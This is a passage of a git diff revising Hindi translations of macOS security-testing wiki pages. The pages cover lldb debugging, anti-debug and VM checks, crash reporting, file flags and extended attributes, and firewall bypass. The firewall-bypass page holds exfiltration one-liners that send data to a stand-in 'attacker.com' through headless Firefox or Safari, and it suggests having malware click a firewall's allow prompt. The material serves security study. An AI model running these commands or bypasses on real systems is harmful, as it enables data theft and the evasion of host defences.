stepi (s / si)अगली निर्देश को निष्पादित करें। अगली कमांड के विपरीत, यह कमांड फ़ंक्शन कॉल में कदम रखेगा।
finish (f)वर्तमान फ़ंक्शन (“फ्रेम”) में शेष निर्देशों को निष्पादित करें, लौटें और रुकें।
control + cकार्यवाही को रोकें। यदि प्रक्रिया को चलाया गया है (r) या जारी रखा गया है (c), तो यह प्रक्रिया को रोक देगा ...जहाँ भी यह वर्तमान में निष्पादित हो रही है।
breakpoint (b)

b main #कोई भी फ़ंक्शन जिसे main कहा जाता है

b `main #बिन का मुख्य फ़ंक्शन

b set -n main --shlib #संकेतित बिन का मुख्य फ़ंक्शन

breakpoint set -r '\[NSFileManager .*\]$' #कोई भी NSFileManager विधि

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # उस पुस्तकालय के सभी फ़ंक्शनों में ब्रेक

b -a 0x0000000100004bd9

br l #ब्रेकपॉइंट सूची

br e/dis #ब्रेकपॉइंट सक्षम/अक्षम करें

breakpoint delete

help

help breakpoint #ब्रेकपॉइंट कमांड की मदद प्राप्त करें

help memory write #मेमोरी में लिखने के लिए मदद प्राप्त करें

reg

reg read

reg read $rax

reg read $rax --format <format>

reg write $rip 0x100035cc0

x/s मेमोरी को एक नल-टर्मिनेटेड स्ट्रिंग के रूप में प्रदर्शित करें।
x/i मेमोरी को असेंबली निर्देश के रूप में प्रदर्शित करें।
x/b मेमोरी को बाइट के रूप में प्रदर्शित करें।
print object (po)

यह उस ऑब्जेक्ट को प्रिंट करेगा जिसका संदर्भ पैरामीटर द्वारा दिया गया है

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

ध्यान दें कि Apple के अधिकांश Objective-C APIs या विधियाँ ऑब्जेक्ट लौटाती हैं, और इसलिए उन्हें “print object” (po) कमांड के माध्यम से प्रदर्शित किया जाना चाहिए। यदि po अर्थपूर्ण आउटपुट नहीं देता है तो x/b का उपयोग करें

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #उस पते में AAAA लिखें
memory write -f s $rip+0x11f+7 "AAAA" #पते में AAAA लिखें
disassembly

dis #वर्तमान फ़ंक्शन का डिसासेम्बल करें

dis -n #फ़ंक्शन का डिसासेम्बल करें

dis -n -b #फ़ंक्शन का डिसासेम्बल करें
dis -c 6 #6 पंक्तियों का डिसासेम्बल करें
dis -c 0x100003764 -e 0x100003768 #एक जोड़ से दूसरे तक
dis -p -c 4 #वर्तमान पते से डिसासेम्बल करना शुरू करें

parrayparray 3 (char **)$x1 #x1 रजिस्टर में 3 घटकों का ऐरे जांचें
image dump sectionsवर्तमान प्रक्रिया की मेमोरी का मानचित्र प्रिंट करें
image dump symtab image dump symtab CoreNLP #CoreNLP से सभी प्रतीकों के पते प्राप्त करें
-> [!NOTE] +> [!TIP] > जब **`objc_sendMsg`** फ़ंक्शन को कॉल किया जाता है, तो **rsi** रजिस्टर **विधि का नाम** एक नल-टर्मिनेटेड (“C”) स्ट्रिंग के रूप में रखता है। lldb के माध्यम से नाम प्रिंट करने के लिए करें: > > `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"` @@ -454,13 +454,13 @@ settings set target.x86-disassembly-flavor intel #### VM पहचान -- कमांड **`sysctl hw.model`** "Mac" लौटाता है जब **होस्ट MacOS है** लेकिन जब यह एक VM है तो कुछ अलग लौटाता है। +- कमांड **`sysctl hw.model`** "Mac" लौटाता है जब **होस्ट MacOS है** लेकिन जब यह एक VM है तो कुछ अलग। - **`hw.logicalcpu`** और **`hw.physicalcpu`** के मानों के साथ खेलते हुए कुछ मैलवेयर यह पहचानने की कोशिश करते हैं कि क्या यह एक VM है। -- कुछ मैलवेयर यह भी **पहचान सकते हैं** कि मशीन **VMware** आधारित है या नहीं, MAC पते (00:50:56) के आधार पर। -- यह भी संभव है कि **यदि एक प्रक्रिया को डीबग किया जा रहा है** तो इसे एक साधारण कोड के साथ जांचा जा सके: +- कुछ मैलवेयर यह भी **पहचान सकते हैं** कि मशीन **VMware** आधारित है या नहीं MAC पते (00:50:56) के आधार पर। +- यह भी संभव है कि **यदि एक प्रक्रिया को डीबग किया जा रहा है** तो इसे एक साधारण कोड के साथ जांचा जा सके जैसे: - `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //प्रक्रिया को डीबग किया जा रहा है }` -- यह **`ptrace`** सिस्टम कॉल को **`PT_DENY_ATTACH`** फ्लैग के साथ भी कॉल कर सकता है। यह **डीबगर** को अटैच और ट्रेस करने से रोकता है। -- आप जांच सकते हैं कि **`sysctl`** या **`ptrace`** फ़ंक्शन को **आयात** किया जा रहा है (लेकिन मैलवेयर इसे डायनामिक रूप से आयात कर सकता है) +- यह **`ptrace`** सिस्टम कॉल को **`PT_DENY_ATTACH`** फ्लैग के साथ भी कॉल कर सकता है। यह **डीबगर** को अटैच और ट्रेस करने से **रोकता** है। +- आप जांच सकते हैं कि **`sysctl`** या **`ptrace`** फ़ंक्शन को **आयात** किया जा रहा है (लेकिन मैलवेयर इसे गतिशील रूप से आयात कर सकता है) - जैसा कि इस लेख में नोट किया गया है, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\ “_संदेश प्रक्रिया # समाप्त हो गई **स्थिति = 45 (0x0000002d)** आमतौर पर यह एक संकेत है कि डिबग लक्ष्य **PT_DENY_ATTACH** का उपयोग कर रहा है_” @@ -470,7 +470,7 @@ settings set target.x86-disassembly-flavor intel - `kern.coredump` sysctl 1 पर सेट है (डिफ़ॉल्ट रूप से) - यदि प्रक्रिया suid/sgid नहीं थी या `kern.sugid_coredump` 1 है (डिफ़ॉल्ट रूप से 0) -- `AS_CORE` सीमा ऑपरेशन की अनुमति देती है। कोड डंप निर्माण को दबाने के लिए `ulimit -c 0` कॉल करके और उन्हें फिर से सक्षम करने के लिए `ulimit -c unlimited` का उपयोग किया जा सकता है। +- `AS_CORE` सीमा ऑपरेशन की अनुमति देती है। कोड डंप निर्माण को दबाने के लिए `ulimit -c 0` कॉल करना संभव है और उन्हें फिर से सक्षम करने के लिए `ulimit -c unlimited`। इन मामलों में कोर डंप `kern.corefile` sysctl के अनुसार उत्पन्न होते हैं और आमतौर पर `/cores/core/.%P` में संग्रहीत होते हैं। @@ -479,10 +479,10 @@ settings set target.x86-disassembly-flavor intel ### [ReportCrash](https://ss64.com/osx/reportcrash.html) ReportCrash **क्रैश होने वाली प्रक्रियाओं का विश्लेषण करता है और डिस्क पर एक क्रैश रिपोर्ट सहेजता है**। एक क्रैश रिपोर्ट में ऐसी जानकारी होती है जो **डेवलपर को क्रैश के कारण का निदान करने में मदद कर सकती है**।\ -उपयोगकर्ता के लॉन्चड संदर्भ में **चलने वाली अनुप्रयोगों और अन्य प्रक्रियाओं** के लिए, ReportCrash एक LaunchAgent के रूप में चलता है और उपयोगकर्ता के `~/Library/Logs/DiagnosticReports/` में क्रैश रिपोर्ट सहेजता है।\ -डेमन्स, सिस्टम लॉन्चड संदर्भ में **चलने वाली अन्य प्रक्रियाओं** और अन्य विशेषाधिकार प्राप्त प्रक्रियाओं के लिए, ReportCrash एक LaunchDaemon के रूप में चलता है और सिस्टम के `/Library/Logs/DiagnosticReports` में क्रैश रिपोर्ट सहेजता है। +उपयोगकर्ता के लॉन्चड संदर्भ में **चलने वाली** एप्लिकेशन और अन्य प्रक्रियाओं के लिए, ReportCrash एक LaunchAgent के रूप में चलता है और उपयोगकर्ता के `~/Library/Logs/DiagnosticReports/` में क्रैश रिपोर्ट सहेजता है।\ +डेमन्स, सिस्टम लॉन्चड संदर्भ में चलने वाली अन्य प्रक्रियाओं और अन्य विशेषाधिकार प्राप्त प्रक्रियाओं के लिए, ReportCrash एक LaunchDaemon के रूप में चलता है और सिस्टम के `/Library/Logs/DiagnosticReports` में क्रैश रिपोर्ट सहेजता है। -यदि आप क्रैश रिपोर्टों के बारे में चिंतित हैं **जो Apple को भेजी जा रही हैं**, तो आप उन्हें अक्षम कर सकते हैं। यदि नहीं, तो क्रैश रिपोर्टें **यह पता लगाने में उपयोगी हो सकती हैं कि सर्वर कैसे क्रैश हुआ**। +यदि आप क्रैश रिपोर्ट के बारे में चिंतित हैं **जो Apple को भेजी जा रही हैं** तो आप उन्हें अक्षम कर सकते हैं। यदि नहीं, तो क्रैश रिपोर्ट **यह पता लगाने में सहायक हो सकती हैं कि सर्वर कैसे क्रैश हुआ**। ```bash #To disable crash reporting: launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist @@ -513,7 +513,8 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist ``` ### Internal Handlers -**नीचे दिए गए पृष्ठ को देखें** यह जानने के लिए कि आप किस ऐप के लिए **निर्धारित स्कीम या प्रोटोकॉल को संभालने के लिए जिम्मेदार है:** +**नीचे दिए गए पृष्ठ पर जाएं** यह जानने के लिए कि आप किस ऐप के लिए **निर्धारित स्कीम या प्रोटोकॉल को संभालने के लिए जिम्मेदार है:** + {{#ref}} ../macos-file-extension-apps.md diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md index e11a3ce65..f59c7adc1 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md @@ -4,7 +4,7 @@ ## Found techniques -निम्नलिखित तकनीकें कुछ macOS फ़ायरवॉल ऐप्स में काम करती पाई गईं। +कुछ तकनीकें macOS फ़ायरवॉल ऐप्स में काम करती पाई गईं। ### Abusing whitelist names @@ -12,7 +12,7 @@ ### Synthetic Click -- यदि फ़ायरवॉल उपयोगकर्ता से अनुमति मांगता है, तो मैलवेयर को **अनुमति पर क्लिक** करने के लिए कहें। +- यदि फ़ायरवॉल उपयोगकर्ता से अनुमति मांगता है, तो मैलवेयर को **अनुमति पर क्लिक** करने के लिए बनाएं। ### **Use Apple signed binaries** @@ -61,10 +61,11 @@ firefox-bin --headless "https://attacker.com?data=data%20to%20exfil" ```bash open -j -a Safari "https://attacker.com?data=data%20to%20exfil" ``` -### प्रक्रियाओं में कोड इंजेक्शन के माध्यम से +### प्रक्रियाओं में इंजेक्शन के माध्यम से यदि आप **किसी प्रक्रिया में कोड इंजेक्ट कर सकते हैं** जो किसी भी सर्वर से कनेक्ट करने की अनुमति देती है, तो आप फ़ायरवॉल सुरक्षा को बायपास कर सकते हैं: + {{#ref}} macos-proces-abuse/ {{#endref}} @@ -83,8 +84,8 @@ open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time # if the patch is missing Safari will happily load the page ``` ### Packet Filter (PF) नियम-आदेश बग प्रारंभिक macOS 14 “Sonoma” में -macOS 14 बीटा चक्र के दौरान Apple ने **`pfctl`** के चारों ओर उपयोगकर्ता स्थान लपेटने में एक पुनरावृत्ति पेश की। -`quick` कीवर्ड के साथ जोड़े गए नियम (जो कई VPN किल-स्विच द्वारा उपयोग किए जाते हैं) चुपचाप अनदेखे किए गए, जिससे ट्रैफ़िक लीक हुआ, भले ही एक VPN/firewall GUI ने *blocked* रिपोर्ट किया। इस बग की पुष्टि कई VPN विक्रेताओं द्वारा की गई और इसे RC 2 (बिल्ड 23A344) में ठीक किया गया। +macOS 14 बीटा चक्र के दौरान Apple ने **`pfctl`** के चारों ओर उपयोगकर्ता स्थान रैपर में एक रिग्रेशन पेश किया। +वे नियम जो `quick` कीवर्ड के साथ जोड़े गए थे (जो कई VPN किल-स्विच द्वारा उपयोग किए जाते हैं) चुपचाप अनदेखा कर दिए गए, जिससे ट्रैफ़िक लीक हुआ, भले ही एक VPN/firewall GUI ने *blocked* रिपोर्ट किया। इस बग की पुष्टि कई VPN विक्रेताओं द्वारा की गई और इसे RC 2 (बिल्ड 23A344) में ठीक किया गया। Quick leak-check: ```bash diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md index 661ccb629..1dbf457bb 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md @@ -12,13 +12,13 @@ - **/Library**: यहाँ प्राथमिकताओं, कैश और लॉग से संबंधित कई उपनिर्देशिकाएँ और फ़ाइलें मिल सकती हैं। एक लाइब्रेरी फ़ोल्डर रूट में और प्रत्येक उपयोगकर्ता के निर्देशिका में मौजूद है। - **/private**: अप्रलेखित लेकिन कई उल्लेखित फ़ोल्डर निजी निर्देशिका के प्रतीकात्मक लिंक हैं। - **/sbin**: आवश्यक सिस्टम बाइनरी (प्रशासन से संबंधित) -- **/System**: OS X को चलाने के लिए फ़ाइल। आपको यहाँ मुख्य रूप से केवल Apple विशिष्ट फ़ाइलें मिलनी चाहिए (तीसरे पक्ष की नहीं)। +- **/System**: OS X चलाने के लिए फ़ाइल। आपको यहाँ मुख्य रूप से केवल Apple विशिष्ट फ़ाइलें मिलनी चाहिए (तीसरे पक्ष की नहीं)। - **/tmp**: फ़ाइलें 3 दिनों के बाद हटा दी जाती हैं (यह /private/tmp का एक सॉफ्ट लिंक है) - **/Users**: उपयोगकर्ताओं के लिए होम निर्देशिका। - **/usr**: कॉन्फ़िग और सिस्टम बाइनरी - **/var**: लॉग फ़ाइलें -- **/Volumes**: यहाँ माउंट किए गए ड्राइव दिखाई देंगे। -- **/.vol**: `stat a.txt` चलाने पर आपको कुछ ऐसा प्राप्त होता है `16777223 7545753 -rw-r--r-- 1 username wheel ...` जहाँ पहला नंबर उस वॉल्यूम का आईडी नंबर है जहाँ फ़ाइल मौजूद है और दूसरा इनोड नंबर है। आप इस फ़ाइल की सामग्री को /.vol/ के माध्यम से उस जानकारी के साथ एक्सेस कर सकते हैं `cat /.vol/16777223/7545753` +- **/Volumes**: माउंट किए गए ड्राइव यहाँ दिखाई देंगे। +- **/.vol**: `stat a.txt` चलाने पर आपको कुछ ऐसा प्राप्त होता है `16777223 7545753 -rw-r--r-- 1 username wheel ...` जहाँ पहला नंबर उस वॉल्यूम का आईडी नंबर है जहाँ फ़ाइल मौजूद है और दूसरा इनोड नंबर है। आप इस जानकारी के माध्यम से /.vol/ के माध्यम से इस फ़ाइल की सामग्री तक पहुँच सकते हैं `cat /.vol/16777223/7545753` ### ऐप्लिकेशन फ़ोल्डर @@ -35,12 +35,14 @@ MacOS कई स्थानों पर पासवर्ड जैसी जानकारी संग्रहीत करता है: + {{#ref}} macos-sensitive-locations.md {{#endref}} ### कमजोर pkg इंस्टॉलर + {{#ref}} macos-installers-abuse.md {{#endref}} @@ -61,13 +63,14 @@ macos-installers-abuse.md - **`.pkg`**: ये xar (eXtensible Archive format) के समान हैं। इंस्टॉलर कमांड का उपयोग इन फ़ाइलों की सामग्री को स्थापित करने के लिए किया जा सकता है। - **`.DS_Store`**: यह फ़ाइल प्रत्येक निर्देशिका में होती है, यह निर्देशिका के गुण और अनुकूलन को सहेजती है। - **`.Spotlight-V100`**: यह फ़ोल्डर सिस्टम पर प्रत्येक वॉल्यूम के रूट निर्देशिका में दिखाई देता है। -- **`.metadata_never_index`**: यदि यह फ़ाइल किसी वॉल्यूम के रूट पर है तो Spotlight उस वॉल्यूम को इंडेक्स नहीं करेगा। -- **`.noindex`**: इस एक्सटेंशन वाली फ़ाइलें और फ़ोल्डर Spotlight द्वारा इंडेक्स नहीं किए जाएंगे। -- **`.sdef`**: बंडल के अंदर की फ़ाइलें यह निर्दिष्ट करती हैं कि AppleScript से ऐप्लिकेशन के साथ कैसे इंटरैक्ट करना संभव है। +- **`.metadata_never_index`**: यदि यह फ़ाइल किसी वॉल्यूम के रूट पर है तो Spotlight उस वॉल्यूम को अनुक्रमित नहीं करेगा। +- **`.noindex`**: इस एक्सटेंशन वाली फ़ाइलें और फ़ोल्डर Spotlight द्वारा अनुक्रमित नहीं होंगे। +- **`.sdef`**: बंडलों के अंदर फ़ाइलें जो यह निर्दिष्ट करती हैं कि AppleScript से ऐप्लिकेशन के साथ कैसे इंटरैक्ट करना संभव है। ### macOS बंडल -एक बंडल एक **निर्देशिका** है जो **Finder में एक ऑब्जेक्ट की तरह दिखती है** (एक बंडल उदाहरण `*.app` फ़ाइलें हैं)। +एक बंडल एक **निर्देशिका** है जो **Finder में एक ऑब्जेक्ट की तरह दिखती है** (एक बंडल का उदाहरण `*.app` फ़ाइलें हैं)。 + {{#ref}} macos-bundles.md @@ -75,7 +78,7 @@ macos-bundles.md ## Dyld साझा लाइब्रेरी कैश (SLC) -macOS (और iOS) पर सभी सिस्टम साझा लाइब्रेरी, जैसे फ्रेमवर्क और dylibs, को **एकल फ़ाइल** में **संयुक्त** किया गया है, जिसे **dyld साझा कैश** कहा जाता है। इससे प्रदर्शन में सुधार हुआ, क्योंकि कोड को तेजी से लोड किया जा सकता है। +macOS (और iOS) पर सभी सिस्टम साझा लाइब्रेरी, जैसे फ्रेमवर्क और dylibs, को **एकल फ़ाइल में संयोजित किया गया है**, जिसे **dyld साझा कैश** कहा जाता है। इससे प्रदर्शन में सुधार हुआ, क्योंकि कोड को तेजी से लोड किया जा सकता है। यह macOS में `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/` में स्थित है और पुराने संस्करणों में आप **`/System/Library/dyld/`** में **साझा कैश** पा सकते हैं।\ iOS में आप इन्हें **`/System/Library/Caches/com.apple.dyld/`** में पा सकते हैं। @@ -110,27 +113,27 @@ dyldex_all [dyld_shared_cache_path] # Extract all ब्रांच पूल छोटे Mach-O dylibs हैं जो छवि मैपिंग के बीच छोटे स्थान बनाते हैं जिससे कार्यों को इंटरपोज़ करना असंभव हो जाता है। -### SLC को ओवरराइड करना +### SLC को ओवरराइड करें env वेरिएबल का उपयोग करते हुए: - **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR= DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> यह एक नया साझा पुस्तकालय कैश लोड करने की अनुमति देगा। -- **`DYLD_SHARED_CACHE_DIR=avoid`** और वास्तविक पुस्तकालयों के साथ साझा कैश के लिए सिमलिंक्स के साथ पुस्तकालयों को मैन्युअल रूप से बदलें (आपको उन्हें निकालने की आवश्यकता होगी)। +- **`DYLD_SHARED_CACHE_DIR=avoid`** और वास्तविक पुस्तकालयों के साथ साझा कैश के लिए सिम्लिंक्स के साथ पुस्तकालयों को मैन्युअल रूप से बदलें (आपको उन्हें निकालने की आवश्यकता होगी)। ## विशेष फ़ाइल अनुमतियाँ ### फ़ोल्डर अनुमतियाँ -एक **फ़ोल्डर** में, **पढ़ने** की अनुमति **सूचीबद्ध** करने की अनुमति देती है, **लिखने** की अनुमति फ़ाइलों को **हटाने** और **लिखने** की अनुमति देती है, और **निष्पादित** करने की अनुमति निर्देशिका को **पार** करने की अनुमति देती है। इसलिए, उदाहरण के लिए, एक उपयोगकर्ता जिसके पास एक फ़ाइल पर **पढ़ने की अनुमति** है, उस निर्देशिका में जहां उसके पास **निष्पादित** करने की अनुमति नहीं है, वह फ़ाइल को **नहीं पढ़ सकेगा**। +एक **फ़ोल्डर** में, **पढ़ने** की अनुमति **सूचीबद्ध** करने की अनुमति देती है, **लिखने** की अनुमति फ़ाइलों को **हटाने** और **लिखने** की अनुमति देती है, और **निष्पादित** करने की अनुमति निर्देशिका को **पार** करने की अनुमति देती है। इसलिए, उदाहरण के लिए, एक उपयोगकर्ता जिसके पास एक फ़ाइल पर **पढ़ने की अनुमति** है, उस निर्देशिका में जहां उसके पास **निष्पादित** करने की अनुमति नहीं है, वह फ़ाइल को **नहीं पढ़ पाएगा**। ### ध्वज संशोधक कुछ ध्वज हैं जो फ़ाइलों में सेट किए जा सकते हैं जो फ़ाइल के व्यवहार को अलग तरीके से बना देंगे। आप `ls -lO /path/directory` के साथ एक निर्देशिका के अंदर फ़ाइलों के ध्वज **जांच सकते हैं**। -- **`uchg`**: जिसे **uchange** ध्वज के रूप में जाना जाता है, यह **किसी भी क्रिया** को फ़ाइल को बदलने या हटाने से **रोकता है**। इसे सेट करने के लिए करें: `chflags uchg file.txt` +- **`uchg`**: जिसे **uchange** ध्वज के रूप में जाना जाता है, यह **फ़ाइल** को बदलने या हटाने की **किसी भी क्रिया** को **रोक देगा**। इसे सेट करने के लिए करें: `chflags uchg file.txt` - रूट उपयोगकर्ता **ध्वज को हटा** सकता है और फ़ाइल को संशोधित कर सकता है। - **`restricted`**: यह ध्वज फ़ाइल को **SIP द्वारा संरक्षित** बनाता है (आप इस ध्वज को फ़ाइल में नहीं जोड़ सकते)। -- **`Sticky bit`**: यदि एक निर्देशिका में स्टिकी बिट है, तो **केवल** **निर्देशिका का मालिक या रूट फ़ाइलों का नाम बदल सकता है या हटा सकता है**। आमतौर पर इसे /tmp निर्देशिका पर सेट किया जाता है ताकि सामान्य उपयोगकर्ता अन्य उपयोगकर्ताओं की फ़ाइलों को हटाने या स्थानांतरित करने से रोक सकें। +- **`Sticky bit`**: यदि एक निर्देशिका में स्टिकी बिट है, तो **केवल** **निर्देशिका का मालिक या रूट फ़ाइलों का नाम बदलने या हटाने** कर सकता है। आमतौर पर इसे /tmp निर्देशिका पर सेट किया जाता है ताकि सामान्य उपयोगकर्ता अन्य उपयोगकर्ताओं की फ़ाइलों को हटाने या स्थानांतरित करने से रोक सकें। सभी ध्वज फ़ाइल `sys/stat.h` में पाए जा सकते हैं (इसे `mdfind stat.h | grep stat.h` का उपयोग करके खोजें) और हैं: @@ -152,7 +155,7 @@ env वेरिएबल का उपयोग करते हुए: - `SF_RESTRICTED` 0x00080000: लिखने के लिए अधिकार की आवश्यकता है। - `SF_NOUNLINK` 0x00100000: आइटम को हटाया, नाम बदला या माउंट नहीं किया जा सकता। - `SF_FIRMLINK` 0x00800000: फ़ाइल एक फर्मलिंक है। -- `SF_DATALESS` 0x40000000: फ़ाइल एक डेटा रहित वस्तु है। +- `SF_DATALESS` 0x40000000: फ़ाइल एक डाटालेस ऑब्जेक्ट है। ### **फ़ाइल ACLs** @@ -161,7 +164,7 @@ env वेरिएबल का उपयोग करते हुए: एक **निर्देशिका** को ये अनुमतियाँ दी जा सकती हैं: `सूची`, `खोज`, `फाइल जोड़ें`, `उप-निर्देशिका जोड़ें`, `बच्चे को हटाएँ`, `बच्चे को हटाएँ`।\ और एक **फ़ाइल** के लिए: `पढ़ें`, `लिखें`, `जोड़ें`, `निष्पादित करें`। -जब फ़ाइल में ACLs होती हैं, तो आप अनुमतियों की सूची बनाते समय **"+" पाएंगे** जैसे: +जब फ़ाइल में ACLs होती हैं, तो आप अनुमतियों को सूचीबद्ध करते समय **"+" पाएंगे** जैसे: ```bash ls -ld Movies drwx------+ 7 username staff 224 15 Apr 19:42 Movies @@ -176,27 +179,27 @@ drwx------+ 7 username staff 224 15 Apr 19:42 Movies ```bash ls -RAle / 2>/dev/null | grep -E -B1 "\d: " ``` -### विस्तारित विशेषताएँ +### Extended Attributes -विस्तारित विशेषताओं का एक नाम और कोई भी इच्छित मान होता है, और इन्हें `ls -@` का उपयोग करके देखा जा सकता है और `xattr` कमांड का उपयोग करके संशोधित किया जा सकता है। कुछ सामान्य विस्तारित विशेषताएँ हैं: +Extended attributes का एक नाम और कोई भी इच्छित मान होता है, और इन्हें `ls -@` का उपयोग करके देखा जा सकता है और `xattr` कमांड का उपयोग करके संशोधित किया जा सकता है। कुछ सामान्य extended attributes हैं: -- `com.apple.resourceFork`: संसाधन फोर्क संगतता। `filename/..namedfork/rsrc` के रूप में भी दिखाई देता है -- `com.apple.quarantine`: MacOS: गेटकीपर क्वारंटाइन तंत्र (III/6) +- `com.apple.resourceFork`: Resource fork संगतता। इसे `filename/..namedfork/rsrc` के रूप में भी देखा जा सकता है +- `com.apple.quarantine`: MacOS: Gatekeeper क्वारंटाइन तंत्र (III/6) - `metadata:*`: MacOS: विभिन्न मेटाडेटा, जैसे कि `_backup_excludeItem`, या `kMD*` - `com.apple.lastuseddate` (#PS): अंतिम फ़ाइल उपयोग तिथि -- `com.apple.FinderInfo`: MacOS: फ़ाइंडर जानकारी (जैसे, रंग टैग) +- `com.apple.FinderInfo`: MacOS: Finder जानकारी (जैसे, रंग टैग) - `com.apple.TextEncoding`: ASCII टेक्स्ट फ़ाइलों के टेक्स्ट एन्कोडिंग को निर्दिष्ट करता है - `com.apple.logd.metadata`: `/var/db/diagnostics` में फ़ाइलों पर logd द्वारा उपयोग किया जाता है - `com.apple.genstore.*`: पीढ़ीगत भंडारण (`/.DocumentRevisions-V100` फ़ाइल सिस्टम की जड़ में) - `com.apple.rootless`: MacOS: फ़ाइल को लेबल करने के लिए सिस्टम इंटीग्रिटी प्रोटेक्शन द्वारा उपयोग किया जाता है (III/10) -- `com.apple.uuidb.boot-uuid`: अद्वितीय UUID के साथ बूट युगों के logd मार्किंग +- `com.apple.uuidb.boot-uuid`: अद्वितीय UUID के साथ बूट युग के logd मार्किंग - `com.apple.decmpfs`: MacOS: पारदर्शी फ़ाइल संकुचन (II/7) - `com.apple.cprotect`: \*OS: प्रति-फ़ाइल एन्क्रिप्शन डेटा (III/11) - `com.apple.installd.*`: \*OS: installd द्वारा उपयोग किया जाने वाला मेटाडेटा, जैसे, `installType`, `uniqueInstallID` -### संसाधन फोर्क | macOS ADS +### Resource Forks | macOS ADS -यह **MacOS** मशीनों में **वैकल्पिक डेटा धाराओं** को प्राप्त करने का एक तरीका है। आप **file/..namedfork/rsrc** के अंदर एक फ़ाइल के अंदर **com.apple.ResourceFork** नामक विस्तारित विशेषता के अंदर सामग्री सहेज सकते हैं। +यह MacOS मशीनों में **Alternate Data Streams** प्राप्त करने का एक तरीका है। आप **file/..namedfork/rsrc** में एक फ़ाइल के अंदर **com.apple.ResourceFork** नामक एक extended attribute के अंदर सामग्री सहेज सकते हैं। ```bash echo "Hello" > a.txt echo "Hello Mac ADS" > a.txt/..namedfork/rsrc @@ -213,11 +216,11 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf ``` ### decmpfs -विस्तारित विशेषता `com.apple.decmpfs` इंगित करती है कि फ़ाइल एन्क्रिप्टेड रूप में संग्रहीत है, `ls -l` **आकार 0** की रिपोर्ट करेगा और संकुचित डेटा इस विशेषता के अंदर है। जब भी फ़ाइल को एक्सेस किया जाएगा, इसे मेमोरी में डिक्रिप्ट किया जाएगा। +विस्तारित विशेषता `com.apple.decmpfs` इंगित करती है कि फ़ाइल एन्क्रिप्टेड रूप में संग्रहीत है, `ls -l` **आकार 0** रिपोर्ट करेगा और संकुचित डेटा इस विशेषता के अंदर है। जब भी फ़ाइल को एक्सेस किया जाएगा, इसे मेमोरी में डिक्रिप्ट किया जाएगा। इस attr को `ls -lO` के साथ देखा जा सकता है जो संकुचित के रूप में संकेतित है क्योंकि संकुचित फ़ाइलों को `UF_COMPRESSED` ध्वज के साथ भी टैग किया जाता है। यदि एक संकुचित फ़ाइल को `chflags nocompressed ` के साथ हटा दिया जाता है, तो सिस्टम नहीं जान पाएगा कि फ़ाइल संकुचित थी और इसलिए यह डेटा को डिक्रिप्ट और एक्सेस नहीं कर पाएगा (यह सोचेगा कि यह वास्तव में खाली है)। -उपकरण afscexpand का उपयोग एक फ़ाइल को मजबूर करने के लिए डिक्रिप्ट करने के लिए किया जा सकता है। +उपकरण afscexpand का उपयोग एक फ़ाइल को मजबूरन डिक्रिप्ट करने के लिए किया जा सकता है। ## **Universal binaries &** Mach-o Format @@ -241,8 +244,8 @@ macos-memory-dumping.md - **LSRiskCategorySafe**: इस श्रेणी में फ़ाइलें **पूर्ण रूप से सुरक्षित** मानी जाती हैं। Safari स्वचालित रूप से इन फ़ाइलों को डाउनलोड करने के बाद खोलेगा। - **LSRiskCategoryNeutral**: ये फ़ाइलें बिना किसी चेतावनी के आती हैं और Safari द्वारा **स्वचालित रूप से नहीं खोली जाती** हैं। -- **LSRiskCategoryUnsafeExecutable**: इस श्रेणी के तहत फ़ाइलें **एक चेतावनी को ट्रिगर करती हैं** जो इंगित करती है कि फ़ाइल एक एप्लिकेशन है। यह उपयोगकर्ता को सूचित करने के लिए एक सुरक्षा उपाय के रूप में कार्य करता है। -- **LSRiskCategoryMayContainUnsafeExecutable**: यह श्रेणी उन फ़ाइलों के लिए है, जैसे कि आर्काइव, जो एक निष्पादन योग्य फ़ाइल को शामिल कर सकती हैं। Safari **एक चेतावनी को ट्रिगर करेगा** जब तक कि यह सत्यापित नहीं कर सकता कि सभी सामग्री सुरक्षित या तटस्थ हैं। +- **LSRiskCategoryUnsafeExecutable**: इस श्रेणी के तहत फ़ाइलें **एक चेतावनी को ट्रिगर करती हैं** जो इंगित करती है कि फ़ाइल एक एप्लिकेशन है। यह उपयोगकर्ता को सचेत करने के लिए एक सुरक्षा उपाय के रूप में कार्य करता है। +- **LSRiskCategoryMayContainUnsafeExecutable**: यह श्रेणी उन फ़ाइलों के लिए है, जैसे कि आर्काइव, जो एक निष्पादन योग्य फ़ाइल को शामिल कर सकती हैं। Safari **एक चेतावनी ट्रिगर करेगा** जब तक कि यह सत्यापित नहीं कर सकता कि सभी सामग्री सुरक्षित या तटस्थ हैं। ## Log files diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md index 4aa2b2c59..3fc705156 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md @@ -6,13 